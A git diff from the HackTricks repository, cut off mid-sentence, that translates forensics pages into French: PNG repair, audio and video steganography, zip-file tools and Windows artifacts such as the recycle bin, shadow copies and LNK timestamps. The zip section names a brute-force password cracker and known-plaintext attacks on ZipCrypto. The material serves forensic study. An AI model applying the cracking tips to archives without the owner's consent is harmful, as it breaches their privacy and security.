☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index a1a3ec194..b077e6685 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,25 +1,6 @@ +Les fichiers PNG, en particulier, sont populaires dans les défis CTF, probablement en raison de leur compression sans perte adaptée pour cacher des données non visuelles dans l'image. Les fichiers PNG peuvent être disséqués dans Wireshark. Pour vérifier la correction ou tenter de réparer les PNG corrompus, vous pouvez utiliser [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html). - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify the correctness or attempt to repair corrupted PNGs you can use [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html) - -You can try to repair corrupted PNGs using online tools like [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/) +Vous pouvez essayer de réparer les PNG corrompus en utilisant des outils en ligne comme [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/). @@ -27,16 +8,14 @@ You can try to repair corrupted PNGs using online tools like [https://online.off ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family). -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com). -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 1d963fcaa..0cf84f1d3 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,50 +1,9 @@ +De même que pour les formats de fichiers image, la manipulation de fichiers audio et vidéo est un thème courant dans les défis de forensique CTF, non pas parce que le piratage ou la dissimulation de données se produit de cette manière dans le monde réel, mais simplement parce que l'audio et la vidéo sont amusants. Comme pour les formats de fichiers image, la stéganographie peut être utilisée pour intégrer un message secret dans les données de contenu, et vous devriez savoir vérifier les zones de métadonnées du fichier pour trouver des indices. Votre première étape devrait être de jeter un coup d'œil avec l'outil [mediainfo](https://mediaarea.net/en/MediaInfo) (ou `exiftool`) et d'identifier le type de contenu et d'examiner ses métadonnées. +[Audacity](http://www.audacityteam.org/) est l'outil de visualisation de fichiers audio open-source de premier choix. Les auteurs de défis CTF adorent encoder du texte dans des formes d'ondes audio, que vous pouvez voir en utilisant la vue spectrogramme (bien qu'un outil spécialisé appelé [Sonic Visualiser](http://www.sonicvisualiser.org/) soit meilleur pour cette tâche en particulier). Audacity peut également vous permettre de ralentir, d'inverser et d'effectuer d'autres manipulations qui pourraient révéler un message caché si vous soupçonnez qu'il y en a un (si vous entendez un audio brouillé, des interférences ou du bruit). [Sox](http://sox.sourceforge.net/) est un autre outil de ligne de commande utile pour convertir et manipuler des fichiers audio. -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video are fun. As with image file formats, steganography might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata. - -[Audacity](http://www.audacityteam.org/) is the premier open-source audio file and waveform-viewing tool. CTF challenge authors love to encode text into audio waveforms, which you can see using the spectrogram view \(although a specialized tool called [Sonic Visualiser](http://www.sonicvisualiser.org/) is better for this task in particular\). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one \(if you can hear garbled audio, interference, or static\). [Sox](http://sox.sourceforge.net/) is another useful command-line tool for converting and manipulating audio files. - -It's also common to check Least Significant Bits (LSB) for a secret message. Most audio and video media formats use discrete (fixed-size) "chunks" so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file. - -Other times, a message might be encoded into the audio as [DTMF tones](http://dialabc.com/sound/detect/index.html) or morse code. For these, try working with [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) to decode them. - -Video file formats are container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, [FFmpeg](http://ffmpeg.org/) is recommended. `ffmpeg -i` gives an initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of FFmpeg is exposed to Python using [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Il est également courant de vérifier les bits de poids faible (LSB) pour un message secret. La plupart des formats de médias audio et vidéo utilisent des "paquets" discrets (de taille fixe) afin qu'ils puissent être diffusés en continu ; les LSB de ces paquets sont un endroit commun pour faire passer des données sans affecter visiblement le fichier. +D'autres fois, un message peut être encodé dans l'audio sous forme de tonalités DTMF ou de code morse. Pour cela, essayez de travailler avec [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) pour les décoder. +Les formats de fichiers vidéo sont des formats de conteneurs, qui contiennent des flux séparés d'audio et de vidéo qui sont multiplexés ensemble pour la lecture. Pour analyser et manipuler les formats de fichiers vidéo, [FFmpeg](http://ffmpeg.org/) est recommandé. `ffmpeg -i` donne une analyse initiale du contenu du fichier. Il peut également démultiplexer ou lire en continu les flux de contenu. La puissance de FFmpeg est exposée à Python en utilisant [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index cb8234c79..8188bf822 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,41 +1,27 @@ -# ZIPs tricks +# Astuces pour les fichiers ZIP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-There are a handful of command-line tools for zip files that will be useful to know about. +Il existe plusieurs outils en ligne de commande pour les fichiers zip qui seront utiles à connaître. -* `unzip` will often output helpful information on why a zip will not decompress. -* `zipdetails -v` will provide in-depth information on the values present in the various fields of the format. -* `zipinfo` lists information about the zip file's contents, without extracting it. -* `zip -F input.zip --out output.zip` and `zip -FF input.zip --out output.zip` attempt to repair a corrupted zip file. -* [fcrackzip](https://github.com/hyc/fcrackzip) brute-force guesses a zip password (for passwords <7 characters or so). +* `unzip` fournira souvent des informations utiles sur la raison pour laquelle un zip ne se décompresse pas. +* `zipdetails -v` fournira des informations détaillées sur les valeurs présentes dans les différents champs du format. +* `zipinfo` liste les informations sur le contenu du fichier zip, sans l'extraire. +* `zip -F input.zip --out output.zip` et `zip -FF input.zip --out output.zip` tentent de réparer un fichier zip corrompu. +* [fcrackzip](https://github.com/hyc/fcrackzip) devine par force brute un mot de passe zip (pour les mots de passe de moins de 7 caractères environ). -[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) +[Spécification du format de fichier zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) -One important security-related note about password-protected zip files is that they do not encrypt the filenames and original file sizes of the compressed files they contain, unlike password-protected RAR or 7z files. +Une note importante liée à la sécurité concernant les fichiers zip protégés par mot de passe est qu'ils n'encryptent pas les noms de fichiers et les tailles de fichiers originales des fichiers compressés qu'ils contiennent, contrairement aux fichiers RAR ou 7z protégés par mot de passe. -Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that are compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). The newer scheme for password-protecting zip files (with AES-256, rather than "ZipCrypto") does not have this weakness. - -From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://localhost:5000/s/-L\_2uGJGU7AVNRcqRvEi/) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+Une autre note sur le craquage de zip est que si vous avez une copie non chiffrée/décompressée de l'un des fichiers qui sont compressés dans le zip chiffré, vous pouvez effectuer une "attaque en texte clair" et craquer le zip, comme [détaillé ici](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), et expliqué dans [ce document](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Le nouveau schéma de protection par mot de passe des fichiers zip (avec AES-256, plutôt que "ZipCrypto") n'a pas cette faiblesse. diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 715a5ce39..30c201e26 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,523 +1,375 @@ -# Windows Artifacts +# Artéfacts Windows -## Windows Artifacts +## Artéfacts Windows
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Generic Windows Artifacts +## Artéfacts Windows génériques -### Windows 10 Notifications +### Notifications Windows 10 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Dans le chemin `\Users\\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Dans cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes. -### Timeline +### Chronologie -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +La chronologie est une caractéristique de Windows qui fournit un historique **chronologique** des pages Web visitées, des documents édités et des applications exécutées. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +La base de données réside dans le chemin `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers qui peuvent être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Alternate Data Streams) +### ADS (flux de données alternatifs) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Les fichiers téléchargés peuvent contenir la **zone ADS.Identifier** indiquant **comment** il a été **téléchargé** depuis l'intranet, l'internet, etc. Certains logiciels (comme les navigateurs) mettent généralement encore **plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé. -## **File Backups** +## **Sauvegardes de fichiers** -### Recycle Bin +### Corbeille -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Dans Vista/Win7/Win8/Win10, la **Corbeille** peut être trouvée dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\ +Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés : -* `$I{id}`: File information (date of when it was deleted} -* `$R{id}`: Content of the file +* `$I{id}` : Informations sur le fichier (date de suppression) +* `$R{id}` : Contenu du fichier ![](<../../../.gitbook/assets/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +En ayant ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date à laquelle ils ont été supprimés (utilisez `rifiuti-vista.exe` pour Vista - Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Copies d'ombre de volume -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes informatiques, même lorsqu'ils sont en cours d'utilisation. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Ces sauvegardes sont généralement situées dans le dossier `\System Volume Information` à partir de la racine du système de fichiers et le nom est composé d'**UID** comme indiqué dans l'image suivante : ![](<../../../.gitbook/assets/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +En montant l'image de la forensique avec **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie d'ombre et même **extraire les fichiers** des sauvegardes de copie d'ombre. ![](<../../../.gitbook/assets/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contient les fichiers et les clés **à ne pas sauvegarder** : ![](<../../../.gitbook/assets/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `copies d'ombre de volume`. -### Office AutoSaved Files +### Fichiers Office AutoSaved -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Vous pouvez trouver les fichiers Office autosauvegardés dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Éléments de Shell -A shell item is an item that contains information about how to access another file. +Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier. -### Recent Documents (LNK) +### Documents récents (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans : -* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +* Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` +* Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Lorsqu'un dossier est créé, un lien vers le dossier, le dossier parent et le dossier grand-parent est également créé. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, des **horodatages MAC** de ce fichier, des **informations de volume** de l'emplacement où le fichier est stocké et du **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +De plus, la **date de création du lien** est la première **fois** où le fichier d'origine a été **utilisé** et la **date de modification du lien** est la **dernière fois** où le fichier d'origine a été utilisé. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +Dans cet outil, vous trouverez **2 ensembles** de horodatages : -* **First Set:** +* **Premier ensemble :** 1. FileModifiedDate 2. FileAccessDate 3. FileCreationDate -* **Second Set:** +* **Deuxième ensemble :** 1. LinkModifiedDate 2. LinkAccessDate 3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Le premier ensemble d'horodatages fait référence aux **horodatages du fichier lui-même**. Le deuxième ensemble fait référence aux **horodatages du fichier 